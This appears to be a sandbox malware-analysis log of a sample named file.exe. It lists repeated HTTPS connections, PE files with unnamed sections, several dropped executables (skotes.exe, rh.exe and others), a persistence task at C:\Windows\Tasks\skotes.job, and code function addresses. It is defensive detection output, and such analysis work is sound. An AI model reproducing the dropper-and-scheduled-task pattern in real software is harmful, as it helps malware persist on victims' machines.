Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.10:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.10:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.10:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50081 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsJDGCGHCGHC.exe.1.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name: .idata
Source: skotes.exe.28.dr	Static PE information: section name:
Source: rh[1].exe.32.dr	Static PE information: section name:
Source: rh[1].exe.32.dr	Static PE information: section name: .idata
Source: rh[1].exe.32.dr	Static PE information: section name:
Source: rh.exe.32.dr	Static PE information: section name:
Source: rh.exe.32.dr	Static PE information: section name: .idata
Source: rh.exe.32.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA1ECC0	1_2_6CA1ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA7ECD0	1_2_6CA7ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFAC30	1_2_6CAFAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE6C00	1_2_6CAE6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA2AC60	1_2_6CA2AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA24DB0	1_2_6CA24DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB6D90	1_2_6CAB6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CBACDC0	1_2_6CBACDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CBA8D20	1_2_6CBA8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEED70	1_2_6CAEED70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB4AD50	1_2_6CB4AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA6E90	1_2_6CAA6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CA2AEC0	1_2_6CA2AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC0EC0	1_2_6CAC0EC0
